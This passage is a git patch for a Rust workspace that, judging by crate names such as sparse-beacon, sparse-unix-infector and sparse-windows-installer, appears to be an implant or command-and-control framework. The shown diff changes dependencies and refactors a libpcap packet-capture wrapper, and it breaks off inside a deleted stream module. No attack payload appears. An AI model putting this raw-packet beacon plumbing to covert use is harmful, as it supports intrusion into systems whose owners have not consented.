From f9ff9f266a26da540cb14a3c6fb50f93120ae66d Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Wed, 12 Feb 2025 17:49:31 -0500 Subject: [PATCH] feat: added tcp sorry Judah --- Cargo.lock | 230 +++++++++++- nl-sys/src/nl_ffi.rs | 1 + nl-sys/src/route.rs | 5 + packets/src/lib.rs | 8 + pcap-sys/Cargo.toml | 4 + pcap-sys/src/error.rs | 5 + pcap-sys/src/ffi.rs | 5 + pcap-sys/src/lib.rs | 295 +++++++++++---- pcap-sys/src/stream.rs | 343 ------------------ sparse-beacon/Cargo.toml | 19 +- sparse-beacon/src/adapter.rs | 29 ++ sparse-beacon/src/callback.rs | 337 +++++++++++++++++ sparse-beacon/src/error.rs | 19 + sparse-beacon/src/lib.rs | 17 +- sparse-beacon/src/main.rs | 113 ++++++ sparse-beacon/src/socket.rs | 132 +++++++ sparse-handler/src/lib.rs | 95 +++-- .../migrations/20250211235645_interface.sql | 2 + sparse-server/src/app.rs | 18 +- sparse-server/src/beacons.rs | 69 ++-- sparse-server/src/beacons/categories.rs | 141 +++---- sparse-server/src/beacons/configs.rs | 134 ++++--- sparse-server/src/beacons/listeners.rs | 166 +++++---- sparse-server/src/beacons/templates.rs | 92 +++-- sparse-server/src/cli/user.rs | 4 +- sparse-server/src/db/user.rs | 136 +++---- sparse-server/src/main.rs | 44 +-- sparse-server/src/users.rs | 83 +++-- sparse-server/src/webserver.rs | 116 ++++-- sparse-unix-infector/src/lib.rs | 5 +- sparse-unix-installer/src/main.rs | 4 +- sparse-windows-beacon/Cargo.toml | 4 +- sparse-windows-beacon/src/lib.rs | 2 +- sparse-windows-beacon/src/main.rs | 144 ++++++++ sparse-windows-infector/src/lib.rs | 2 +- sparse-windows-installer/src/main.rs | 14 +- unix-loader/src/abi.h | 4 + 37 files changed, 1939 insertions(+), 902 deletions(-) delete mode 100644 pcap-sys/src/stream.rs create mode 100644 sparse-beacon/src/adapter.rs create mode 100644 sparse-beacon/src/callback.rs create mode 100644 sparse-beacon/src/error.rs create mode 100644 sparse-beacon/src/main.rs create mode 100644 sparse-beacon/src/socket.rs create mode 100644 sparse-server/migrations/20250211235645_interface.sql create mode 100644 sparse-windows-beacon/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index b933735..29647f9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -599,6 +599,16 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "186dce98367766de751c42c4f03970fc60fc012296e706ccbb9d5df9b6c1e271" +[[package]] +name = "colored" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" +dependencies = [ + "lazy_static", + "windows-sys 0.59.0", +] + [[package]] name = "concurrent-queue" version = "2.5.0" @@ -683,6 +693,16 @@ dependencies = [ "version_check", ] +[[package]] +name = "core-foundation" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b55271e5c8c478ad3f38ad24ef34923091e0548492a266d19b3c0b4d82574c63" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "core-foundation-sys" version = "0.8.7" @@ -825,6 +845,38 @@ dependencies = [ "syn 2.0.96", ] +[[package]] +name = "defmt" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86f6162c53f659f65d00619fe31f14556a6e9f8752ccc4a41bd177ffcf3d6130" +dependencies = [ + "bitflags 1.3.2", + "defmt-macros", +] + +[[package]] +name = "defmt-macros" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d135dd939bad62d7490b0002602d35b358dce5fd9233a709d3c1ef467d4bde6" +dependencies = [ + "defmt-parser", + "proc-macro-error2", + "proc-macro2", + "quote", + "syn 2.0.96", +] + +[[package]] +name = "defmt-parser" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3983b127f13995e68c1e29071e5d115cd96f215ccb5e6812e3728cd6f92653b3" +dependencies = [ + "thiserror 2.0.11", +] + [[package]] name = "der" version = "0.7.9" @@ -1254,6 +1306,15 @@ dependencies = [ "tracing", ] +[[package]] +name = "hash32" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d60b12902ba28e2730cd37e95b8c9223af2808df9e902d4df49588d1470606" +dependencies = [ + "byteorder", +] + [[package]] name = "hashbrown" version = "0.14.5" @@ -1280,6 +1341,16 @@ dependencies = [ "hashbrown 0.15.2", ] +[[package]] +name = "heapless" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bfb9eb618601c89945a70e254898da93b13be0388091d42117462b265bb3fad" +dependencies = [ + "hash32", + "stable_deref_trait", +] + [[package]] name = "heck" version = "0.3.3" @@ -1438,6 +1509,25 @@ dependencies = [ "pin-project-lite", "smallvec", "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d191583f3da1305256f22463b9bb0471acad48a4e534a5218b9963e9c1f59b2" +dependencies = [ + "futures-util", + "http", + "hyper", + "hyper-util", + "rustls", + "rustls-native-certs", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tower-service", ] [[package]] @@ -1447,13 +1537,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df2dcfbe0677734ab2f3ffa7fa7bfd4706bfdc1ef393f2ee30184aed67e631b4" dependencies = [ "bytes", + "futures-channel", "futures-util", "http", "http-body", "hyper", "pin-project-lite", + "socket2", "tokio", "tower-service", + "tracing", ] [[package]] @@ -2013,6 +2106,12 @@ version = "0.4.25" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04cbf5b083de1c7e0222a7a51dbfdba1cbe1c6ab0b15e29fff3f6c077fd9cd9f" +[[package]] +name = "managed" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ca88d725a0a943b096803bd34e73a4437208b6077654cc4ecb2947a5f91618d" + [[package]] name = "manyhow" version = "0.11.4" @@ -2233,6 +2332,15 @@ dependencies = [ "libc", ] +[[package]] +name = "num_threads" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c7398b9c8b70908f6371f47ed36737907c87c52af34c268fed0bf0ceb92ead9" +dependencies = [ + "libc", +] + [[package]] name = "object" version = "0.36.7" @@ -2267,6 +2375,12 @@ version = "1.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + [[package]] name = "or_poisoned" version = "0.1.0" @@ -2357,6 +2471,7 @@ dependencies = [ "packets", "tokio", "tokio-stream", + "windows", ] [[package]] @@ -2386,18 +2501,18 @@ checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "pin-project" -version = "1.1.8" +version = "1.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e2ec53ad785f4d35dac0adea7f7dc6f1bb277ad84a680c7afefeae05d1f5916" +checksum = "dfe2e71e1471fe07709406bf725f710b02927c9c54b2b5b2ec0e8087d97c327d" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.8" +version = "1.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d56a66c0c55993aa927429d0f8a0abfd74f084e4d9c192cffed01e418d83eefb" +checksum = "f6e859e6e5bd50440ab63c47e3ebabc90f26251f7c73c3d3e837b74a1cc3fa67" dependencies = [ "proc-macro2", "quote", @@ -2875,12 +2990,25 @@ dependencies = [ "aws-lc-rs", "log", "once_cell", + "ring", "rustls-pki-types", "rustls-webpki", "subtle", "zeroize", ] +[[package]] +name = "rustls-native-certs" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fcff2dd52b58a8d98a70243663a0d234c4e2b79235637849d15913394a247d3" +dependencies = [ + "openssl-probe", + "rustls-pki-types", + "schannel", + "security-framework", +] + [[package]] name = "rustls-pemfile" version = "2.2.0" @@ -2929,12 +3057,44 @@ dependencies = [ "winapi-util", ] +[[package]] +name = "schannel" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f29ebaa345f945cec9fbbc532eb307f0fdad8161f281b6369539c8d84876b3d" +dependencies = [ + "windows-sys 0.59.0", +] + [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "security-framework" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271720403f46ca04f7ba6f55d438f8bd878d6b8ca0a1046e8228c4145bcbb316" +dependencies = [ + "bitflags 2.8.0", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "send_wrapper" version = "0.6.0" @@ -3134,6 +3294,18 @@ dependencies = [ "rand_core 0.6.4", ] +[[package]] +name = "simple_logger" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8c5dfa5e08767553704aa0ffd9d9794d527103c736aba9854773851fd7497eb" +dependencies = [ + "colored", + "log", + "time", + "windows-sys 0.48.0", +] + [[package]] name = "slab" version = "0.4.9" @@ -3161,6 +3333,21 @@ dependencies = [ "serde", ] +[[package]] +name = "smoltcp" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dad095989c1533c1c266d9b1e8d70a1329dd3723c3edac6d03bbd67e7bf6f4bb" +dependencies = [ + "bitflags 1.3.2", + "byteorder", + "cfg-if", + "defmt", + "heapless", + "log", + "managed", +] + [[package]] name = "socket2" version = "0.5.8" @@ -3182,7 +3369,23 @@ dependencies = [ name = "sparse-beacon" version = "0.7.0" dependencies = [ + "async-trait", + "futures", + "hyper", + "hyper-rustls", + "hyper-util", + "nl-sys", + "packets", "pcap-sys", + "pin-project", + "rand 0.9.0", + "simple_logger", + "smoltcp", + "sparse-actions", + "thiserror 2.0.11", + "tokio", + "tower-service", + "tracing", ] [[package]] @@ -3281,6 +3484,8 @@ dependencies = [ name = "sparse-windows-beacon" version = "2.0.0" dependencies = [ + "anyhow", + "pcap-sys", "windows", "winreg", ] @@ -3752,7 +3957,9 @@ checksum = "35e7868883861bd0e56d9ac6efcaaca0d6d5d82a2a7ec8209ff492c07cf37b21" dependencies = [ "deranged", "itoa", + "libc", "num-conv", + "num_threads", "powerfmt", "serde", "time-core", @@ -4078,6 +4285,12 @@ dependencies = [ "tracing-serde", ] +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + [[package]] name = "tungstenite" version = "0.24.0" @@ -4257,6 +4470,15 @@ dependencies = [ "winapi-util", ] +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" diff --git a/nl-sys/src/nl_ffi.rs b/nl-sys/src/nl_ffi.rs index fbb362d..7e89728 100644 --- a/nl-sys/src/nl_ffi.rs +++ b/nl-sys/src/nl_ffi.rs @@ -92,6 +92,7 @@ extern "C" { pub fn rtnl_link_get_name(link: *mut rtnl_link) -> *const c_char; pub fn rtnl_link_get_ifindex(link: *mut rtnl_link) -> c_int; pub fn rtnl_link_get_type(link: *mut rtnl_link) -> *const c_char; + pub fn rtnl_link_get_mtu(link: *mut rtnl_link) -> c_uint; pub fn rtnl_route_alloc_cache( sock: *mut nl_sock, diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index 9fbd512..284300c 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -91,6 +91,11 @@ impl Link { } } + /// Returns the MTU of the link + pub fn mtu(&self) -> u32 { + unsafe { rtnl_link_get_mtu(self.link) } + } + /// Determines the type of link. Ethernet devices are "veth or eth" pub fn ltype(&self) -> Option { unsafe { diff --git a/packets/src/lib.rs b/packets/src/lib.rs index a5f7da4..2b93b7b 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -78,6 +78,10 @@ impl<'a> EthernetPkt<'a> { data: self.data.to_vec(), } } + + pub fn raw(&self) -> &[u8] { + self.data + } } pub enum Layer3Pkt<'a> { @@ -425,6 +429,10 @@ impl EthernetPacket { pub fn pkt(&'_ self) -> EthernetPkt<'_> { EthernetPkt { data: &self.data } } + + pub fn from_raw(data: Vec) -> EthernetPacket { + Self { data } + } } #[derive(Clone)] diff --git a/pcap-sys/Cargo.toml b/pcap-sys/Cargo.toml index 9f25709..d063f9d 100644 --- a/pcap-sys/Cargo.toml +++ b/pcap-sys/Cargo.toml @@ -31,4 +31,8 @@ tokio = { version = "1.21.2", features = [ "rt-multi-thread", ] } tokio-stream = "0.1.14" + packets = { path = "../packets" } + +[target.'cfg(windows)'.dependencies] +windows = { version = "0.59.0", features = ["Win32_System_Threading"] } diff --git a/pcap-sys/src/error.rs b/pcap-sys/src/error.rs index fad274f..ba0156d 100644 --- a/pcap-sys/src/error.rs +++ b/pcap-sys/src/error.rs @@ -31,6 +31,7 @@ pub enum Error { InvalidPcapFd, Io(std::io::Error), Libc(Errno), + IncorrectDeviceState(crate::State, crate::State), } pub type Result = std::result::Result; @@ -61,6 +62,10 @@ impl Display for Error { Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"), Error::Io(io) => write!(f, "std::io error ({io})"), Error::Libc(err) => write!(f, "libc error ({err})"), + Error::IncorrectDeviceState(des, cur) => write!( + f, + "device in incorrect state (desired: {des:?}; current: {cur:?})" + ), } } } diff --git a/pcap-sys/src/ffi.rs b/pcap-sys/src/ffi.rs index bb406e0..5c559d3 100644 --- a/pcap-sys/src/ffi.rs +++ b/pcap-sys/src/ffi.rs @@ -181,3 +181,8 @@ extern "C" { pkt_data: *mut *mut c_char, ) -> c_int; } + +#[cfg(target_os = "windows")] +extern "C" { + pub fn pcap_getevent(p: *mut PcapDev) -> windows::Win32::Foundation::HANDLE; +} diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 77dce13..f4f4471 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -16,13 +16,12 @@ use std::{ ffi::{CStr, CString}, ptr, slice, + time::Duration, }; pub mod error; mod ffi; pub use packets; -#[cfg(target_os = "linux")] -pub mod stream; pub mod consts { pub use super::ffi::{ @@ -102,37 +101,33 @@ impl std::iter::Iterator for PcapDevIterator { } } -pub trait State {} -pub trait Activated: State {} -pub trait NotListening: Activated {} -pub trait Listening: Activated {} -pub trait Disabled: State {} +#[derive(PartialEq, Eq, Debug, Clone, Copy)] +pub enum State { + Disabled, + Activated, + Listening, +} -pub enum DevActivated {} -impl State for DevActivated {} -impl Activated for DevActivated {} -impl NotListening for DevActivated {} - -pub enum DevDisabled {} -impl State for DevDisabled {} -impl Disabled for DevDisabled {} - -pub enum DevListening {} -impl State for DevListening {} -impl Activated for DevListening {} -impl Listening for DevListening {} +impl State { + fn is_activated(&self) -> bool { + match self { + Self::Disabled => false, + Self::Activated | Self::Listening => true, + } + } +} pub struct BpfProgram {} -pub struct Interface { +pub struct Interface { dev_name: CString, dev: *mut ffi::PcapDev, - marker: std::marker::PhantomData, absorbed: bool, nonblocking: bool, + state: State, } -impl Drop for Interface { +impl Drop for Interface { fn drop(&mut self) { if !self.absorbed { unsafe { ffi::pcap_close(self.dev) }; @@ -140,11 +135,21 @@ impl Drop for Interface { } } -unsafe impl Send for Interface {} -unsafe impl Sync for Interface {} +unsafe impl Send for Interface {} +unsafe impl Sync for Interface {} -impl Interface { - pub fn new(name: &str) -> error::Result> { +struct ListenHandler<'a, F> +where + F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, +{ + packet_handler: F, + break_on_fail: bool, + fail_error: Option, + interface: &'a Interface, +} + +impl Interface { + pub fn new(name: &str) -> error::Result { let mut errbuf = [0i8; ffi::PCAP_ERRBUF_SIZE]; let dev_name = CString::new(name)?; @@ -154,12 +159,12 @@ impl Interface { Err(&errbuf)?; } - Ok(Interface:: { + Ok(Interface { dev_name, dev, - marker: std::marker::PhantomData, absorbed: false, nonblocking: false, + state: State::Disabled, }) } @@ -200,10 +205,15 @@ impl Interface { pub fn name(&self) -> &str { std::str::from_utf8(self.dev_name.as_bytes()).unwrap() } -} -impl Interface { pub fn set_promisc(&mut self, promisc: bool) -> error::Result<()> { + if self.state != State::Disabled { + return Err(error::Error::IncorrectDeviceState( + State::Disabled, + self.state, + )); + } + if unsafe { ffi::pcap_set_promisc(self.dev, i32::from(promisc)) } != 0 { Err(unsafe { ffi::pcap_geterr(self.dev) })?; } @@ -212,6 +222,13 @@ impl Interface { } pub fn set_buffer_size(&mut self, bufsize: i32) -> error::Result<()> { + if self.state != State::Disabled { + return Err(error::Error::IncorrectDeviceState( + State::Disabled, + self.state, + )); + } + if unsafe { ffi::pcap_set_buffer_size(self.dev, bufsize) } != 0 { Err(unsafe { ffi::pcap_geterr(self.dev) })?; } @@ -220,6 +237,13 @@ impl Interface { } pub fn set_timeout(&mut self, timeout: i32) -> error::Result<()> { + if self.state != State::Disabled { + return Err(error::Error::IncorrectDeviceState( + State::Disabled, + self.state, + )); + } + if unsafe { ffi::pcap_set_timeout(self.dev, timeout) } != 0 { Err(unsafe { ffi::pcap_geterr(self.dev) })?; } @@ -227,26 +251,33 @@ impl Interface { Ok(()) } - pub fn activate(mut self) -> error::Result> { + pub fn activate(&mut self) -> error::Result<()> { + if self.state != State::Disabled { + return Err(error::Error::IncorrectDeviceState( + State::Disabled, + self.state, + )); + } + if unsafe { ffi::pcap_activate(self.dev) } != 0 { Err(unsafe { ffi::pcap_geterr(self.dev) })?; } self.absorbed = true; + self.state = State::Activated; - Ok(Interface:: { - dev_name: self.dev_name.clone(), - dev: self.dev, - marker: std::marker::PhantomData, - absorbed: false, - nonblocking: self.nonblocking, - }) + Ok(()) } -} -impl Interface { - pub fn datalink(&self) -> i32 { - unsafe { ffi::pcap_datalink(self.dev) } + pub fn datalink(&self) -> error::Result { + if !self.state.is_activated() { + return Err(error::Error::IncorrectDeviceState( + State::Activated, + self.state, + )); + } + + Ok(unsafe { ffi::pcap_datalink(self.dev) }) } pub fn set_filter( @@ -255,6 +286,13 @@ impl Interface { optimize: bool, mask: Option, ) -> error::Result> { + if !self.state.is_activated() { + return Err(error::Error::IncorrectDeviceState( + State::Activated, + self.state, + )); + } + let mut bpf = ffi::BpfProgram { bf_len: 0, bpf_insn: ptr::null(), @@ -290,6 +328,13 @@ impl Interface { } pub fn sendpacket(&self, packet: packets::EthernetPkt) -> error::Result<()> { + if !self.state.is_activated() { + return Err(error::Error::IncorrectDeviceState( + State::Activated, + self.state, + )); + } + if unsafe { ffi::pcap_sendpacket( self.dev, @@ -304,12 +349,37 @@ impl Interface { Ok(()) } - pub fn next_packet(&mut self) -> error::Result { + pub fn next_packet(&self) -> error::Result { + if !self.state.is_activated() { + return Err(error::Error::IncorrectDeviceState( + State::Activated, + self.state, + )); + } + let mut header: *mut ffi::PktHeader = ptr::null_mut(); let mut data: *mut libc::c_char = ptr::null_mut(); - if unsafe { ffi::pcap_next_ex(self.dev, &mut header as *mut _, &mut data as *mut _) < 1 } { - return unsafe { Err(ffi::pcap_geterr(self.dev))? }; + let res = + unsafe { ffi::pcap_next_ex(self.dev, &mut header as *mut _, &mut data as *mut _) }; + + match res { + 1 => {} // no problems + 0 => { + // timeout + return Err(std::io::Error::new( + std::io::ErrorKind::WouldBlock, + "pcap timeout", + )) + .map_err(Into::into); + } + -1 => { + // actual error + return unsafe { Err(ffi::pcap_geterr(self.dev)).map_err(Into::into) }; + } + _ => { + panic!("Unrecognized value returned from pcap_next_ex"); + } } let rdata = unsafe { slice::from_raw_parts(data as *mut u8, (*header).caplen as usize) }; @@ -319,34 +389,29 @@ impl Interface { Ok(packets::EthernetPkt { data: rdata }.to_owned()) } -} -struct ListenHandler<'a, F> -where - F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, -{ - packet_handler: F, - break_on_fail: bool, - fail_error: Option, - interface: &'a Interface, -} - -impl Interface { pub fn listen( &self, packet_handler: F, break_on_fail: bool, packet_count: i32, - ) -> (Option, i32) + ) -> error::Result<(Option, i32)> where - F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, + F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, { + if self.state == State::Listening { + return Err(error::Error::IncorrectDeviceState( + State::Activated, + self.state, + )); + } + unsafe extern "C" fn cback( user: *mut libc::c_void, header: *const ffi::PktHeader, data: *const u8, ) where - F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, + F: FnMut(&Interface, packets::EthernetPkt) -> error::Result, { let info = &mut *(user as *mut ListenHandler); @@ -380,9 +445,9 @@ impl Interface { let interface = Interface { dev_name: self.dev_name.clone(), dev: self.dev, - marker: std::marker::PhantomData, absorbed: true, nonblocking: self.nonblocking, + state: State::Listening, }; let mut info = ListenHandler:: { @@ -401,20 +466,102 @@ impl Interface { ) }; - (info.fail_error, count) + Ok((info.fail_error, count)) } - #[cfg(target_os = "linux")] - pub fn stream(mut self) -> error::Result> { - self.set_non_blocking(true)?; + #[cfg(target_os = "windows")] + pub fn get_wait_ready_callback(&self) -> WaitHandle { + let handle = unsafe { ffi::pcap_getevent(self.dev) }; + WaitHandle(handle) + } - Ok(stream::InterfaceStream { - inner: tokio::io::unix::AsyncFd::with_interest( - stream::InternalInterfaceStream::::new(unsafe { - std::mem::transmute(self) - })?, - tokio::io::Interest::READABLE, - )?, - }) + #[cfg(not(target_os = "windows"))] + pub fn get_wait_ready_callback(&self) -> WaitHandle { + let fd = unsafe { ffi::pcap_get_selectable_fd(self.dev) }; + WaitHandle(fd) + } + + pub fn wait_ready(&self, timeout: Option) -> error::Result<()> { + self.get_wait_ready_callback().wait(timeout) + } +} + +#[cfg(windows)] +#[derive(Clone)] +pub struct WaitHandle(windows::Win32::Foundation::HANDLE); + +#[cfg(unix)] +#[derive(Clone)] +pub struct WaitHandle(libc::c_int); + +unsafe impl Send for WaitHandle {} +unsafe impl Sync for WaitHandle {} + +impl WaitHandle { + #[cfg(windows)] + pub fn wait(&self, timeout: Option) -> error::Result<()> { + use windows::Win32::System::Threading::{WaitForSingleObject, INFINITE}; + + let timeout = timeout + .map(|t| (t.as_millis() & 0xFFFFFFFF) as u32) + .unwrap_or(50); + + unsafe { + if WaitForSingleObject(self.0, timeout).0 != 0 { + Err(std::io::Error::last_os_error()).map_err(Into::into) + } else { + Ok(()) + } + } + } + + #[cfg(unix)] + pub fn wait(&self, timeout: Option) -> error::Result<()> { + unsafe { + use std::mem::MaybeUninit; + + let mut readfds = { + let mut readfds = MaybeUninit::::uninit(); + libc::FD_ZERO(readfds.as_mut_ptr()); + libc::FD_SET(self.0, readfds.as_mut_ptr()); + readfds.assume_init() + }; + + let mut writefds = { + let mut writefds = MaybeUninit::::uninit(); + libc::FD_ZERO(writefds.as_mut_ptr()); + libc::FD_SET(self.0, writefds.as_mut_ptr()); + writefds.assume_init() + }; + + let mut exceptfds = { + let mut exceptfds = MaybeUninit::::uninit(); + libc::FD_ZERO(exceptfds.as_mut_ptr()); + exceptfds.assume_init() + }; + + let mut c_timeout = libc::timeval { + tv_sec: 0, + tv_usec: 50_000, + }; + if let Some(t) = timeout { + c_timeout.tv_sec = t.as_secs() as libc::time_t; + c_timeout.tv_usec = (t.as_micros() % 1_000_000) as libc::suseconds_t; + } + + let res = libc::select( + 1, + &mut readfds, + &mut writefds, + &mut exceptfds, + &mut c_timeout as *mut _, + ); + + if res == -1 { + Err(std::io::Error::last_os_error()).map_err(Into::into) + } else { + Ok(()) + } + } } } diff --git a/pcap-sys/src/stream.rs b/pcap-sys/src/stream.rs deleted file mode 100644 index 5dad497..0000000 --- a/pcap-sys/src/stream.rs +++ /dev/null @@ -1,343 +0,0 @@ -// Copyright (C) 2023 Andrew Rioux -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU Affero General Public License as -// published by the Free Software Foundation, either version 3 of the -// License, or (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU Affero General Public License for more details. -// -// You should have received a copy of the GNU Affero General Public License -// along with this program. If not, see . - -use std::{ - collections::HashMap, - os::fd::{AsRawFd, RawFd}, - pin::Pin, - task::{self, Poll}, -}; - -use futures::{ready, StreamExt}; -use tokio::io::unix::AsyncFd; -use tokio_stream::StreamMap; - -use super::{ - error, ffi, packets, Activated, DevActivated, DevDisabled, Disabled, Interface, NotListening, - PcapDevIterator, State, -}; - -pub(crate) struct InternalInterfaceStream { - interface: Interface, - fd: RawFd, -} - -impl InternalInterfaceStream { - pub(crate) fn new(interface: Interface) -> error::Result> { - let fd = unsafe { ffi::pcap_get_selectable_fd(interface.dev) }; - if fd == -1 { - return Err(error::Error::InvalidPcapFd); - } - Ok(Self { interface, fd }) - } -} - -impl AsRawFd for InternalInterfaceStream { - fn as_raw_fd(&self) -> RawFd { - self.fd - } -} - -pub struct InterfaceStream { - pub(crate) inner: AsyncFd>, -} - -impl InterfaceStream { - pub fn sendpacket(&mut self, packet: packets::EthernetPkt) -> error::Result<()> { - self.inner.get_mut().interface.sendpacket(packet) - } - - pub fn set_filter( - &mut self, - filter: &str, - optimize: bool, - mask: Option, - ) -> error::Result> { - self.inner - .get_mut() - .interface - .set_filter(filter, optimize, mask) - } -} - -impl Unpin for InterfaceStream {} - -impl futures::Stream for InterfaceStream { - type Item = error::Result; - - fn poll_next(self: Pin<&mut Self>, cx: &mut task::Context) -> Poll> { - let stream = Pin::into_inner(self); - - loop { - let mut guard = ready!(stream.inner.poll_read_ready_mut(cx))?; - - match guard.try_io(|inner| match inner.get_mut().interface.next_packet() { - Ok(p) => Ok(Ok(p)), - Err(e) => Ok(Err(e)), - }) { - Ok(result) => { - return Poll::Ready(Some(result?)); - } - Err(_would_block) => continue, - } - } - } -} - -pub fn new_aggregate_interface_filtered( - crash: bool, - mut f: F, -) -> error::Result> -where - F: FnMut(&str) -> bool, -{ - let interfaces = if crash { - PcapDevIterator::new()? - .filter(|s| (f)(s)) - .map(|if_name| { - let new_name = if_name.clone(); - Interface::::new(&if_name) - .map(|interface| (if_name, interface)) - .map_err(|e| e.add_ifname(&new_name)) - }) - .collect::>>()? - } else { - PcapDevIterator::new()? - .filter(|s| (f)(s)) - .filter_map(|if_name| { - let new_name = if_name.clone(); - Interface::::new(&if_name) - .map(|interface| (if_name, interface)) - .ok() - .or_else(|| { - println!("{} failed to create device", new_name); - None - }) - }) - .collect::>() - }; - - Ok(AggregateInterface { interfaces, crash }) -} - -pub fn new_aggregate_interface(crash: bool) -> error::Result> { - new_aggregate_interface_filtered(crash, |_| true) -} - -pub struct AggregateInterface { - interfaces: HashMap>, - crash: bool, -} - -impl AggregateInterface { - pub fn set_non_blocking(&mut self, nonblocking: bool) -> error::Result<()> { - for (n, i) in self.interfaces.iter_mut() { - i.set_non_blocking(nonblocking) - .map_err(|e| e.add_ifname(n))?; - } - - Ok(()) - } - - pub fn lookupnets(&self) -> error::Result> { - self.interfaces - .iter() - .map(|(name, interface)| { - interface - .lookupnet() - .map(|net| (&**name, net)) - .map_err(|e| e.add_ifname(&name)) - }) - .collect::>() - } - - pub fn get_ifnames(&self) -> Vec<&str> { - self.interfaces.keys().map(|n| &**n).collect::<_>() - } -} - -impl AggregateInterface { - pub fn set_promisc(&mut self, promisc: bool) -> error::Result<()> { - for (n, i) in self.interfaces.iter_mut() { - i.set_promisc(promisc).map_err(|e| e.add_ifname(n))?; - } - - Ok(()) - } - - pub fn set_buffer_size(&mut self, bufsize: i32) -> error::Result<()> { - for (n, i) in self.interfaces.iter_mut() { - i.set_buffer_size(bufsize).map_err(|e| e.add_ifname(n))?; - } - - Ok(()) - } - - pub fn set_timeout(&mut self, timeout: i32) -> error::Result<()> { - for (n, i) in self.interfaces.iter_mut() { - i.set_timeout(timeout).map_err(|e| e.add_ifname(n))?; - } - - Ok(()) - } - - pub fn activate(self) -> error::Result> { - Ok(AggregateInterface { - interfaces: if self.crash { - self.interfaces - .into_iter() - .map(|(name, interface)| { - let new_name = name.clone(); - interface - .activate() - .map(|interface| (name, interface)) - .map_err(|e| e.add_ifname(&new_name)) - }) - .collect::>()? - } else { - self.interfaces - .into_iter() - .filter_map(|(name, interface)| { - let name_clone = name.clone(); - interface - .activate() - .map(|interface| (name, interface)) - .ok() - .or_else(|| { - println!("{} failed to activate", name_clone); - None - }) - }) - .collect::<_>() - }, - crash: self.crash, - }) - } -} - -impl AggregateInterface { - pub fn datalinks(&self) -> HashMap<&str, i32> { - self.interfaces - .iter() - .map(|(name, interface)| (&**name, interface.datalink())) - .collect::<_>() - } - - pub fn prune(&mut self, mut f: F) - where - F: FnMut(&str, &mut Interface) -> bool, - { - let to_prune = self - .interfaces - 